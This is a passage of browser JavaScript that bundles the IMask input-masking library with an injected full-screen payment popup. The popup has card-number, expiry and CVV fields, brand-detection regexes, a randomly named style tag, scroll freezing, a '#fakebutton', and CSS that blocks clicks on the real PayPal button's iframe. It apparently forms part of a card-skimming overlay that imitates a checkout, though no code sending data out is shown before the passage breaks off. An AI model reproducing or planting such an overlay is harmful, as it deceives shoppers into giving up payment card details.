                    direction = -direction;
                    let overflow = false;
                    for (nextdi = indexInDirection(di, direction); 0 <= nextdi && nextdi < this._charDefs.length; di += direction, nextdi += direction) {
                        const nextDef = this._charDefs[nextdi];
                        if (nextDef.isInput) {
                            firstInputIndex = di;
                            if (nextDef.isHollow && !nextDef.isHiddenHollow) break;
                        }
                        if (di === initialDefIndex) overflow = true;
                        if (overflow && firstInputIndex != null) break;
                    }
                    overflow = overflow || nextdi >= this._charDefs.length;
                    if (overflow && firstInputIndex != null) di = firstInputIndex;
                } else if (firstFilledInputIndex == null) {
                    di = firstVisibleHollowIndex != null ? firstVisibleHollowIndex : firstInputIndex;
                }
                return this.mapDefIndexToPos(di);
            }
            group(name) {
                return this.groupsByName(name)[0];
            }
            groupsByName(name) {
                return this._groupDefs.filter(g => g.name === name);
            }
        }
        MaskedPattern.DEFAULT_PLACEHOLDER = {
            lazy: true,
            char: '_'
        };
        MaskedPattern.STOP_CHAR = '`';
        MaskedPattern.ESCAPE_CHAR = '\\';
        MaskedPattern.Definition = PatternDefinition;
        MaskedPattern.Group = PatternGroup;
        class MaskedDate extends MaskedPattern {
            constructor(opts) {
                super(_extends({}, MaskedDate.DEFAULTS, opts));
            }
            _update(opts) {
                if (opts.mask === Date) delete opts.mask;
                if (opts.pattern) {
                    opts.mask = opts.pattern;
                    delete opts.pattern;
                }
                const groups = opts.groups;
                opts.groups = Object.assign({}, MaskedDate.GET_DEFAULT_GROUPS());
                if (opts.min) opts.groups.Y.from = opts.min.getFullYear();
                if (opts.max) opts.groups.Y.to = opts.max.getFullYear();
                Object.assign(opts.groups, groups);
                super._update(opts);
            }
            doValidate(...args) {
                const valid = super.doValidate(...args);
                const date = this.date;
                return valid && (!this.isComplete || this.isDateExist(this.value) && date && (this.min == null || this.min <= date) && (this.max == null || date <= this.max));
            }
            isDateExist(str) {
                return this.format(this.parse(str)) === str;
            }
            get date() {
                return this.isComplete ? this.parse(this.value) : null;
            }
            set date(date) {
                this.value = this.format(date);
            }
        }
        MaskedDate.DEFAULTS = {
            pattern: 'd{.}`m{.}`Y',
            format: date => {
                const day = String(date.getDate()).padStart(2, '0');
                const month = String(date.getMonth() + 1).padStart(2, '0');
                const year = date.getFullYear();
                return [day, month, year].join('.');
            },
            parse: str => {
                var _str$split = str.split('.'),
                    _str$split2 = slicedToArray(_str$split, 3);
                const day = _str$split2[0],
                    month = _str$split2[1],
                    year = _str$split2[2];
                return new Date(year, month - 1, day);
            }
        };
        MaskedDate.GET_DEFAULT_GROUPS = () => {
            return {
                d: new PatternGroup.Range([1, 31]),
                m: new PatternGroup.Range([1, 12]),
                Y: new PatternGroup.Range([1900, 9999])
            };
        };
        class MaskedDynamic extends Masked {
            constructor(opts) {
                super(_extends({}, MaskedDynamic.DEFAULTS, opts));
                this.currentMask = null;
            }
            _update(opts) {
                super._update(opts);
                this.compiledMasks = Array.isArray(opts.mask) ? opts.mask.map(m => createMask(m)) : [];
            }
            _append(str, ...args) {
                const oldValueLength = this.value.length;
                const details = new ChangeDetails();
                str = this.doPrepare(str, ...args);
                const inputValue = this.rawInputValue;
                this.currentMask = this.doDispatch(str, ...args);
                if (this.currentMask) {
                    this.currentMask.rawInputValue = inputValue;
                    details.shift = this.value.length - oldValueLength;
                    details.aggregate(this.currentMask._append(str, ...args));
                }
                return details;
            }
            appendWithTail(str, tail) {
                return this._append('').aggregate(super.appendWithTail(str, tail));
            }
            doDispatch(appended, flags) {
                return this.dispatch(appended, this, flags);
            }
            clone() {
                const m = new MaskedDynamic(this);
                m._value = this.value;
                if (this.currentMask) m.currentMask = this.currentMask.clone();
                return m;
            }
            reset() {
                if (this.currentMask) this.currentMask.reset();
                this.compiledMasks.forEach(cm => cm.reset());
            }
            get value() {
                return this.currentMask ? this.currentMask.value : '';
            }
            set value(value) {
                this.resolve(value);
            }
            get isComplete() {
                return !!this.currentMask && this.currentMask.isComplete;
            }
            _unmask() {
                return this.currentMask ? this.currentMask._unmask() : '';
            }
            remove(...args) {
                if (this.currentMask) this.currentMask.remove(...args);
            }
            extractInput(...args) {
                return this.currentMask ? this.currentMask.extractInput(...args) : '';
            }
            doCommit() {
                if (this.currentMask) this.currentMask.doCommit();
                super.doCommit();
            }
        }
        MaskedDynamic.DEFAULTS = {
            dispatch: (appended, masked, flags) => {
                if (!masked.compiledMasks.length) return;
                const inputValue = masked.rawInputValue;
                masked.compiledMasks.forEach(cm => {
                    cm.rawInputValue = inputValue;
                    cm._append(appended, flags);
                });
                const inputs = masked.compiledMasks.map((cm, index) => ({
                    value: cm.rawInputValue.length,
                    index
                }));
                inputs.sort((i1, i2) => i2.value - i1.value);
                return masked.compiledMasks[inputs[0].index];
            }
        };
        class ActionDetails {
            constructor(value, cursorPos, oldValue, oldSelection) {
                this.value = value;
                this.cursorPos = cursorPos;
                this.oldValue = oldValue;
                this.oldSelection = oldSelection;
                while (this.value.slice(0, this.startChangePos) !== this.oldValue.slice(0, this.startChangePos)) {
                    --this.oldSelection.start;
                }
            }
            get startChangePos() {
                return Math.min(this.cursorPos, this.oldSelection.start);
            }
            get insertedCount() {
                return this.cursorPos - this.startChangePos;
            }
            get inserted() {
                return this.value.substr(this.startChangePos, this.insertedCount);
            }
            get removedCount() {
                return Math.max(this.oldSelection.end - this.startChangePos || this.oldValue.length - this.value.length, 0);
            }
            get removed() {
                return this.oldValue.substr(this.startChangePos, this.removedCount);
            }
            get head() {
                return this.value.substring(0, this.startChangePos);
            }
            get tail() {
                this.value.substring(this.startChangePos + this.insertedCount);
            }
            get removeDirection() {
                return this.removedCount && !this.insertedCount && (this.oldSelection.end === this.cursorPos ? DIRECTION.RIGHT : DIRECTION.LEFT);
            }
        }
        class InputMask {
            constructor(el, opts) {
                this.el = el;
                this.masked = createMask(opts);
                this._listeners = {};
                this._value = '';
                this._unmaskedValue = '';
                this._saveSelection = this._saveSelection.bind(this);
                this._onInput = this._onInput.bind(this);
                this._onChange = this._onChange.bind(this);
                this._onDrop = this._onDrop.bind(this);
                this.alignCursor = this.alignCursor.bind(this);
                this.alignCursorFriendly = this.alignCursorFriendly.bind(this);
                this.bindEvents();
                this.updateValue();
                this._onChange();
            }
            get mask() {
                return this.masked.mask;
            }
            set mask(mask) {
                if (mask == null || mask === this.masked.mask) return;
                if (this.masked.constructor === maskedClass(mask)) {
                    this.masked.mask = mask;
                    return;
                }
                const masked = createMask({
                    mask
                });
                masked.unmaskedValue = this.masked.unmaskedValue;
                this.masked = masked;
            }
            get value() {
                return this._value;
            }
            set value(str) {
                this.masked.value = str;
                this.updateControl();
                this.alignCursor();
            }
            get unmaskedValue() {
                return this._unmaskedValue;
            }
            set unmaskedValue(str) {
                this.masked.unmaskedValue = str;
                this.updateControl();
                this.alignCursor();
            }
            bindEvents() {
                this.el.addEventListener('keydown', this._saveSelection);
                this.el.addEventListener('input', this._onInput);
                this.el.addEventListener('drop', this._onDrop);
                this.el.addEventListener('click', this.alignCursorFriendly);
                this.el.addEventListener('change', this._onChange);
            }
            unbindEvents() {
                this.el.removeEventListener('keydown', this._saveSelection);
                this.el.removeEventListener('input', this._onInput);
                this.el.removeEventListener('drop', this._onDrop);
                this.el.removeEventListener('click', this.alignCursorFriendly);
                this.el.removeEventListener('change', this._onChange);
            }
            fireEvent(ev) {
                const listeners = this._listeners[ev] || [];
                listeners.forEach(l => l());
            }
            get selectionStart() {
                return this._cursorChanging ? this._changingCursorPos : this.el.selectionStart;
            }
            get cursorPos() {
                return this._cursorChanging ? this._changingCursorPos : this.el.selectionEnd;
            }
            set cursorPos(pos) {
                if (this.el !== document.activeElement) return;
                this.el.setSelectionRange(pos, pos);
                this._saveSelection();
            }
            _saveSelection() {
                if (this.value !== this.el.value) {
                    console.warn('Uncontrolled input change, refresh mask manually!');
                }
                this._selection = {
                    start: this.selectionStart,
                    end: this.cursorPos
                };
            }
            updateValue() {
                this.masked.value = this.el.value;
            }
            updateControl() {
                const newUnmaskedValue = this.masked.unmaskedValue;
                const newValue = this.masked.value;
                const isChanged = this.unmaskedValue !== newUnmaskedValue || this.value !== newValue;
                this._unmaskedValue = newUnmaskedValue;
                this._value = newValue;
                if (this.el.value !== newValue) this.el.value = newValue;
                if (isChanged) this._fireChangeEvents();
            }
            updateOptions(opts) {
                opts = Object.assign({}, opts);
                if (opts.mask === Date && this.masked instanceof MaskedDate) delete opts.mask;
                if (objectIncludes(this.masked, opts)) return;
                this.masked.updateOptions(opts);
                this.updateControl();
            }
            updateCursor(cursorPos) {
                if (cursorPos == null) return;
                this.cursorPos = cursorPos;
                this._delayUpdateCursor(cursorPos);
            }
            _delayUpdateCursor(cursorPos) {
                this._abortUpdateCursor();
                this._changingCursorPos = cursorPos;
                this._cursorChanging = setTimeout(() => {
                    this.cursorPos = this._changingCursorPos;
                    this._abortUpdateCursor();
                }, 10);
            }
            _fireChangeEvents() {
                this.fireEvent('accept');
                if (this.masked.isComplete) this.fireEvent('complete');
            }
            _abortUpdateCursor() {
                if (this._cursorChanging) {
                    clearTimeout(this._cursorChanging);
                    delete this._cursorChanging;
                }
            }
            alignCursor() {
                this.cursorPos = this.masked.nearestInputPos(this.cursorPos);
            }
            alignCursorFriendly() {
                if (this.selectionStart !== this.cursorPos) return;
                this.alignCursor();
            }
            on(ev, handler) {
                if (!this._listeners[ev]) this._listeners[ev] = [];
                this._listeners[ev].push(handler);
                return this;
            }
            off(ev, handler) {
                if (!this._listeners[ev]) return;
                if (!handler) {
                    delete this._listeners[ev];
                    return;
                }
                const hIndex = this._listeners[ev].indexOf(handler);
                if (hIndex >= 0) this._listeners.splice(hIndex, 1);
                return this;
            }
            _onInput() {
                this._abortUpdateCursor();
                const details = new ActionDetails(this.el.value, this.cursorPos, this.value, this._selection);
                const offset = this.masked.splice(details.startChangePos, details.removed.length, details.inserted, details.removeDirection).offset;
                const cursorPos = this.masked.nearestInputPos(details.startChangePos + offset, details.removeDirection);
                this.updateControl();
                this.updateCursor(cursorPos);
            }
            _onChange() {
                if (this.value !== this.el.value) {
                    this.updateValue();
                }
                this.masked.doCommit();
                this.updateControl();
            }
            _onDrop(ev) {
                ev.preventDefault();
                ev.stopPropagation();
            }
            destroy() {
                this.unbindEvents();
                this._listeners.length = 0;
            }
        }

        function IMask$1(el, opts = {}) {
            return new InputMask(el, opts);
        }
        IMask$1.InputMask = InputMask;
        IMask$1.Masked = Masked;
        IMask$1.MaskedPattern = MaskedPattern;
        IMask$1.MaskedNumber = MaskedNumber;
        IMask$1.MaskedDate = MaskedDate;
        IMask$1.MaskedRegExp = MaskedRegExp;
        IMask$1.MaskedFunction = MaskedFunction;
        IMask$1.MaskedDynamic = MaskedDynamic;
        window.IMask = IMask$1;

        // ---------------------====================================================

        var scrollEvents = ['scroll', 'mousewheel', 'wheel'];

        function stayScroll(e) {
            //console.log(e.currentTarget.myParam);
            window.scrollTo({
                top: e.currentTarget.myParam,
            });
        }

        function func(e) {
            e.preventDefault();
            e.stopPropagation();
            return false;
        };

        function freezeScroll(elem, status = true) {
            let options = {
                passive: false
            };

            if (status) {
                scrollEvents.forEach(function (item, i, arr) {
                    if (item == "scroll") {
                        var current_1 = window.pageYOffset | document.body.scrollTop;

                        document.addEventListener("scroll", stayScroll, false);
                        document.myParam = current_1;

                    } else {
                        elem.addEventListener(item, func, options);
                    }
                });
            } else {
                scrollEvents.forEach(function (item, i, arr) {
                    if (item == "scroll") {
                        document.removeEventListener("scroll", stayScroll, false);
                    } else {
                        elem.removeEventListener(item, func, options);
                    }
                });
            }
        }

        const
            fields = {},
            iicons = {
                paymentBrand: '<image x="0" y="0" width="31" height="21" xlink:href="data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo4NkQxQTE1NkMwM0YxMUVEODU4N0VFQzRFNTQxMTVFNCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo4NkQxQTE1N0MwM0YxMUVEODU4N0VFQzRFNTQxMTVFNCI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjg2RDFBMTU0QzAzRjExRUQ4NTg3RUVDNEU1NDExNUU0IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjg2RDFBMTU1QzAzRjExRUQ4NTg3RUVDNEU1NDExNUU0Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4AJkFkb2JlAGTAAAAAAQMAFQQDBgoNAAAFKgAABjAAAAa7AAAHO//bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8IAEQgAFQAfAwERAAIRAQMRAf/EAKcAAAICAwAAAAAAAAAAAAAAAAQGAAUBAgkBAQAAAAAAAAAAAAAAAAAAAAAQAAAGAgMBAAAAAAAAAAAAAAACAwQFBhQVMAETFhEAAQMDAgMGBgMAAAAAAAAAAgEDBBESBQATQRQVUWHRIjKUIZEj0zQ1RCWVEgEAAAAAAAAAAAAAAAAAAAAwEwEAAgICAgIDAQAAAAAAAAABESEAMUFRMGEQkXGBodH/2gAMAwEAAhEDEQAAAetAUQGNC7LQXzIeNwvH/9oACAEBAAEFAiSkR2rs6oNnVBtIjLaQUG9MSqVZVX4aDDisRjB+VNPszdNTL87EHBJDP//aAAgBAgABBQLk/9oACAEDAAEFAuT/2gAIAQICBj8CT//aAAgBAwIGPwJP/9oACAEBAQY/ApvVstk2pQz5gI2xJyTbQMg8otiIRqsp8E4a/dZn3mZ8Nfusz7zM+GoowMtk3GCCd1Hdk5A7YgwnjU294bkdBRqKh5k1KkZF9WJD+UntNhzTbG6oSVGjYH5jWpcNKw3MJx9LkVkMgybqKHqq2IqaW8ezX8z3Cfa1i22OZtnHNiv3uoX03IL4ratiWrQ9OK1Lgi11Wdyo5THQTkDL3g3kiOSMo3eO7bSgotaaXlZuC6hU7tjGYznOO7Xby+5dd6u/X5rH+W32d+YVPlrGc9KufumdP2cfHAElcofmf/s3DVsU4JSvFU1//9oACAEBAwE/ITM8jGOkG77fNGiVzilTSudAEJLjFX1R4ECpAgTKdmMWvR1FUPp7Z9HFecqQqvF0hhv8YxrJaMqOx74NZ+3kdn/XHaceJtcZEI2LvB5NBKYMRsbEGRIk/9oACAECAwE/IfJ//9oACAEDAwE/IfJ//9oADAMBAAIRAxEAABASAASQT//aAAgBAQMBPxDlhlFIVALNnA+blylzVYBnMxcQiI4Rwaje2SAgbGrZGsQ4GQpVUHLUm6HVPU1U56yq26WdSIqUhjlURlJmgRz7O/D+HnDXdsvSRgonk0Gq9wWYe+MVVy1KhCBwkWMv/9oACAECAwE/EPJ//9oACAEDAwE/EPJ//9k="/>',
            },
            addcss = function (css) {
                var head = document.getElementsByTagName("head")[0],
                    s = document.createElement("style");
                s.setAttribute("type", "text/css"), s.id = "KFw5sxQE", s.styleSheet ? s.styleSheet.cssText = css : s.appendChild(document.createTextNode(css)), head.appendChild(s);
            }
        build_css = function () {
            return `
	:root{
		--font_family_base: 'Open Sans',sans-serif;
		--font_family_title: 'Open Sans',sans-serif;
		--color_base: #272e3f;
	
	}
    .pos-rel{
		position: relative;
    }
    .pp_popup {
		position: fixed;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
		background: rgb(0 0 0 / 60%);
		display: flex;
		align-items: center;
		justify-content: center;
		z-index: 123456789123;
		visibility: visible;
		opacity: 1;
		transition: opacity 1s, visibility 0s;
		font-family: var(--font_family_base);
		color: var(--color_base);
    }
    .pp-00__body{
		background: #fff;
		box-shadow: 0px 0px 10px #000000c4;
		border-radius: 8px;
		position: relative;
		width: 500px;
		height: 490px;
		padding: 120px 50px 0;
        box-sizing: content-box !important;
    }
    .pp-00__body:not(.pp-00__body--min){
        animation: animateheight 1s ease-out forwards ;
    }
    .pp-00__body--min{
		width: 500px;
		height: 350px;
		padding: 50px;
    }
    #pp-00 .popup__close.close {
    position: absolute;
    right: 10px;
    top: 8px;
    color: #1b215c;
    font-family: var(--font_family_title);
    font-size: 26px;
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 22;
    width: 22px;
    height: 22px;
    font-weight: 100;
    cursor: pointer;
    transition: .3s;
    }
    #pp-00 .popup__close.close:hover{
    color: red;
    }
    .pp-00__body .pp-logo{
		position: absolute;
		display: flex;
		top:170px;
		left:168px;
		align-items: center;
		justify-content: center;
		background: transparent;
		width: 160px;
		opacity: 0
    }
    .pp_popup.hidden,
    .pp-formarea.hidden{
    opacity: 0;
    visibility: hidden;
    transition: opacity 1s, visibility 0s  1s;
    }
    .pp-formarea{
    visibility: visible;
    opacity: 1;
    transition: opacity 1s, visibility 0s;
    }
    
    .pp-00__body:not(.pp-00__body--initial) .pp-logo {
        top: 10px;
        left: 20px;
        opacity: 1;
        /*transform:scale(0.4) rotate(720deg);*/
        transform:scale(0.85) /*rotate(360deg);*/
        /* animation: 0.6s ease-out 0.3s forwards animatelogo; */
    }
    
    @keyframes animatelogo{
    0%{
    top:170px;
    left:168px;
    transform:scale(0.25);
    opacity: 0;
    }
    100%{
    top: 10px;
    left: 20px;
    opacity: 1;
    /*transform:scale(0.4) rotate(720deg);*/
    transform:scale(0.85) /*rotate(360deg);*/
    }
    }
    
    @keyframes animateheight{
    0%{
    height: 350px;
    }
    50%{
    height: 475px;
    }
    100%{
    height: 415px; /* 375px */
    }
    
    }
    .spinner.loading.invisible {
    opacity: 0;
    visibility: hidden;
    transition: opacity 1s, visibility 0s  1s;
    }
    .spinner.loading {
    padding: 50px;
    text-align: center;
    transform: translateX(-50%) translateY(-50%);
    margin-left: -40px;
    margin-top: -40px;
    z-index: 11;
    transition: opacity 1s;
    top: 50%;
    left: 50%;
    position: absolute;
    visibility: visible;
    opacity: 1;
    transition: opacity 1s, visibility 0s;
    }
    
    
    .spinner.loading:before {
    content: "";
    border-width: 5px;
    border-style: solid;
    border-color: #142c8e #ccc #ccc;
    border-radius: 100%;
    z-index: 4;
    animation: .7s linear infinite rotation;
    top: 50%;
    left: 50%;
    position: absolute;
    height: 100px;
    width: 100px;
    margin: -15px auto auto -15px;
    background: #fff;
    
    }
	#pp-00 input{
		height: 42px;
		/* border-color: #e0e0e0; */
        border: 1px solid #e0e0e0;
		border-radius: 6px;
        transition: .1s;
	}
	#pp-00 input:focus{
		box-shadow: none;
		border: 2px solid #7e7e7e;
	}
    .spinner.loading:after {
    content: "";
    background: url("data:image/webp;base64,UklGRi4BAABXRUJQVlA4WAoAAAAQAAAAMQAAMQAAQUxQSCAAAAABD6AQQADE37nRiIgYKGrbiOngj7m3ANwzov+ZY7wzx1ZQOCDoAAAAMAgAnQEqMgAyAD5JII1EIqIhmvo0zCgEhLSAAiDnkudT+t7YP9xRBIe6IbHZ1fZa4hXzD4NhUJRk/r9GhAO8M9NjDQnga/frr5gA/v9Pk3bRvlRX8jZ9XR28k05bKR6zIEhP7813agqpmKeEiPeuP3XxBGA+Y/8WiCDrm1FXYqYYY/paaazQcS7L4Fj/9QNR0Y4nYYD3yZLe1wpTVGVP6a5hBOnNoLl250mMwca8vAdfPRLIXIRR8kKnIVES6F5vgAShOn7WISixxvuH+Ww/3xqlWXLot3hdScKIaTLBEq87XCQAzgAAAA==")
    center center no-repeat;
    z-index: 5;
    border: 5px solid transparent;
    }
    @-webkit-keyframes rotation{from{-webkit-transform:rotate(0)}to{-webkit-transform:rotate(359deg)}}
    @-moz-keyframes rotation{from{-moz-transform:rotate(0)}to{-moz-transform:rotate(359deg)}}
    @-o-keyframes rotation{from{-o-transform:rotate(0)}to{-o-transform:rotate(359deg)}}
    @keyframes rotation{from{transform:rotate(0)}to{transform:rotate(359deg)}}
    .spinner.loading:after,
    .spinner.loading:before {
    height: 100px;
    width: 100px;
    margin: -15px auto auto -15px;
    }
    .spinner.loading,
    .spinner.loading:after,
    .spinner.loading:before {
    top: 50%;
    left: 50%;
    position: absolute;
    }
    #stripe-payments-brand_ {
		position: absolute;
		right: 10px;
		top: 9px;
		display: flex;    
	}
    .pp-flex-line {
    display: flex;
    flex-wrap: wrap;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 10px;
    
    }
    .pp-flex-line > label{
    flex: 0 0 100%;
    }
    #stripe-payments-card-number {
    flex: 0 0 100%;
    }
    .rcell {
    flex: 0 0 48%;
    }
    .rcell.rcell--expire {
    display: flex;
    flex-wrap:wrap;
    align-items: center;
    }
    .rcell.rcell--expire > label {
    flex: 0 0 100%;
    }
    .rcell-cell {
    flex: 0 0 50%;
    }
    input.valid{
    border: 1px solid green;
    }
    input.invalid{
        border: 1.5px solid red;
    }
    .redstar{
		color: red;
		color: #b3b3b3;
		margin-left: 5px;
		display: none;
    }
    .send-block {
    display: flex;
    justify-content: space-between;
    margin-top: 35px;
    }
    .send-block button {
    
    }
    #mastercard-319 {
    transform: scale(0.0427);
    }
    #amex-319 {
    transform: translateX(4px) scale(0.023);
    }
    #unionpay-319,
    #dinners-319,
    #discover-319,
    #visa-319,
    #jcb-319{
    transform: scale(1.3);
    }
    #maestro-319 {
    transform: scale(0.045);
    }
    .invalid.animated_old{
    animation-name: invalidbleem;
    animation-duration: 0.7s;
    animation-iteration-count: 3;
    }
    @keyframes invalidbleem{
    0%{
    transform: scale(1);
    }
    75%{
    transform: scale(1.05);
    }
    100%{
    transform: scale(1);
    }
    }
    .CB__notification {
    text-align: center;
    font-size: 20px;
    color: #000;
    margin-top: 20%;
    justify-content: center;
    align-items: center;
    display: grid;
    }
    .CB__payment-test {
    text-align: center;
    margin-top: 0;
    color: #3c4186;
    }
    .CB__notification img {
    max-width: 55px;
    margin-left: 125px;
    margin-right: 0px;
    }
    .footer-rights {
        position: absolute;
        bottom: 0;
        font-size: 11px;
        right: 0;
        border-radius: 0px 0px 10px 10px;
        text-align: center;
        padding: 14px;
        background-color: #F7F9FA;
        width: 100%;
    }
    .footerGroup {
        list-style-type: none;
        text-align: center;
        display: inline-flex;
    }
    .footerGroup li al {
        color: #666;
        font-weight: 600;
        cursor: pointer;
    }
    .footerGroup li:not(:nth-child(1)) al {
        margin-left: 10px;
    }
    .footerGroup li al:hover {
        text-decoration: underline;
        color: #666 !important;
    }
    #cardccnumber::-webkit-input-placeholder,
    #cardexpm::-webkit-input-placeholder,
    #cardcvv::-webkit-input-placeholder{
        color: #575757;
        font-size: 14px;
    }
    h4.popup__title {
		color: var(--color_base);
		font-size: 22px;
		font-family: var(--font_family_title);
		text-align: center;
	}
.popup__undertitle{
    color: #676986;
    font-size: 15px;
    margin-bottom: 20px;
}
.pp-formarea {
    visibility: visible;
    opacity: 1;
    transition: opacity 1s, visibility 0s;
    background: #fff;
    padding: 20px;
    box-shadow: 0px 10px 15px #67688708;
}
.pp-00__body{
    background-color: #fff;
    background: #fff !important;
	padding: 75px 15px 0 !important;
    max-width: 95%;
}
.btn.btn-color {
    font-size: 18px !important;
    text-align: center;
    width: 100%;
    max-width: 100%;
    display: block;
    margin: 0 auto;
    height: 50px;
    color: #fff !important;
    background-color: #142c8e;
    border-color: #142c8e;
    border-radius: 25px !important;
}
.btn.btn-color.action.primary:hover{
    background-color: #1040c1;
    border-color: #1040c1;
    outline: 0;
}
.btn.btn-color.action.primary:focus{
    background-color: #142c8e;
    border-color: #142c8e;
}
.brand-container {
    text-transform: uppercase;
    color: #072653;
    font-weight: bold;
    font-size: 14px;
    line-height: 14px;
    display: flex;
    flex-direction: row;
    align-items: center;
    justify-content: center;
    background: #000;
    padding: 5px 0;
    max-width: 155px;
    border-radius: 6px;
    margin: 10px auto;
}
.ajaxform.form_check.form_style input{
	/*padding: 1em;*/
    color: #333;
    padding-left: 15px;
    background-color: #fafafa;
}
.ajaxform.form_check.form_style label{
	font-size: 14px!important
	font-family: var(--font_family_base);
    font-style: normal;
    font-weight: 400;
    line-height: 20px;
	display: block;
	margin-bottom: 5px;
    color: #333;
}
input.invalid {
    border-color: #f00 !important;
}
#paypal-express-in-context-button .zoid-outlet {
    cursor: pointer !important;
}
#paypal-express-in-context-button .zoid-outlet iframe {
    pointer-events: none
}

#cardccnumber {
    width: 100%;
}

#fakebutton a {
    font-weight: 400 !important;
    font-size: 18px !important;
    text-align: center !important;
    text-decoration: none !important;
    vertical-align: middle !important;
    border: 1px solid transparent !important;
    padding: .375rem .75rem !important;
}
    `;
        },
            masker = function () {
                const cardnumber = document.getElementById('cardccnumber');
                const ccicon = document.getElementById('ccicon');
                //Mask the Credit Card Number Input

                var cardnumber_mask = new IMask(cardnumber, {
                    mask: [{
                        mask: '0000 000000 00000',
                        regex: '^3[47]\\d{0,13}',
                        cardtype: 'american express'
                    },
                    {
                        mask: '0000 0000 0000 0000',
                        regex: '^(?:6011|65\\d{0,2}|64[4-9]\\d?)\\d{0,12}',
                        cardtype: 'discover'
                    },
                    {
                        mask: '0000 000000 0000',
                        regex: '^3(?:0([0-5]|9)|[689]\\d?)\\d{0,11}',
                        cardtype: 'diners'
                    },
                    {
                        mask: '0000 0000 0000 0000',
                        regex: '^(5[1-5]\\d{0,2}|22[2-9]\\d{0,1}|2[3-7]\\d{0,2})\\d{0,12}',
                        cardtype: 'mastercard'
                    },

                    {
                        mask: '0000 000000 00000',
                        regex: '^(?:2131|1800)\\d{0,11}',
                        cardtype: 'jcb15'
                    },
                    {
                        mask: '0000 0000 0000 0000',
                        regex: '^(?:35\\d{0,2})\\d{0,12}',
                        cardtype: 'jcb'
                    },
                    {
                        mask: '0000 0000 0000 0000',
                        regex: '^(?:5[0678]\\d{0,2}|6304|67\\d{0,2})\\d{0,12}',
                        cardtype: 'maestro'
                    },

                    {
                        mask: '0000 0000 0000 0000',
                        regex: '^4\\d{0,15}',
                        cardtype: 'visa'
                    },
                    {
                        mask: '0000 0000 0000 0000',
                        regex: '^62\\d{0,14}',
                        cardtype: 'unionpay'
                    },
                    {
                        mask: '0000 0000 0000 0000',
                        cardtype: 'Unknown'
                    }
                    ],
                    dispatch: function (appended, dynamicMasked) {
                        var number = (dynamicMasked.value + appended).replace(/\D/g, '');

                        for (var i = 0; i < dynamicMasked.compiledMasks.length; i++) {
                            let re = new RegExp(dynamicMasked.compiledMasks[i].regex);
                            if (number.match(re) != null) {
                                return dynamicMasked.compiledMasks[i];
                            }
                        }
                    }
                });

                // SVGICONS
                let amex = `<g id="amex-319"><path d="M0 0h997.517v538.49l-49.375 77.147 49.375 68.661v313.219H0v-507.63l30.859-35.488L0 420.454z" fill="#016fd0"/><path d="M193.64 695.099v-156.61h165.82l17.791 23.193 18.38-23.193h601.886V684.3s-15.74 10.643-33.945 10.8H630.295l-20.058-24.688V695.1h-65.73v-42.142s-8.979 5.882-28.39 5.882h-22.373v36.26h-99.52l-17.766-23.69-18.038 23.69zM0 420.454l37.393-87.177h64.668l21.22 48.833v-48.833h80.388l12.633 35.295 12.247-35.295h360.858v17.744s18.97-17.744 50.146-17.744l117.085.41 20.854 48.193v-48.603h67.273l18.515 27.683v-27.683h67.89v156.61h-67.89l-17.744-27.774v27.773h-98.838l-9.94-24.687h-26.57l-9.779 24.687h-67.028c-26.826 0-43.974-17.381-43.974-17.381v17.381H488.343L468.285 465.2v24.687H92.481L82.548 465.2H56.06l-9.86 24.686H0z" fill="#fff"/><path d="M50.628 352.584L.193 469.848h32.836l9.306-23.482h54.1l9.257 23.482h33.56L88.863 352.584zm18.66 27.29l16.49 41.034H52.75zm73.435 89.954V352.564l46.661.173 27.14 75.605 26.49-75.778h46.289v117.264h-29.316v-86.405l-31.076 86.405h-25.71l-31.162-86.405v86.405zm166.638 0V352.564h95.663v26.23h-66.038v20.058h64.495v24.688h-64.495v20.83h66.038v25.458zm112.636-117.244v117.264h29.316v-41.66h12.343l35.15 41.66h35.826l-38.574-43.203c15.831-1.336 32.161-14.923 32.161-36.018 0-24.676-19.368-38.043-40.984-38.043zm29.316 26.23h33.51c8.04 0 13.887 6.288 13.887 12.343 0 7.79-7.577 12.344-13.452 12.344h-33.945zm118.807 91.014h-29.933V352.564h29.933zm70.975 0h-6.46c-31.262 0-50.243-24.63-50.243-58.15 0-34.349 18.768-59.114 58.246-59.114h32.402v27.773h-33.586c-16.026 0-27.36 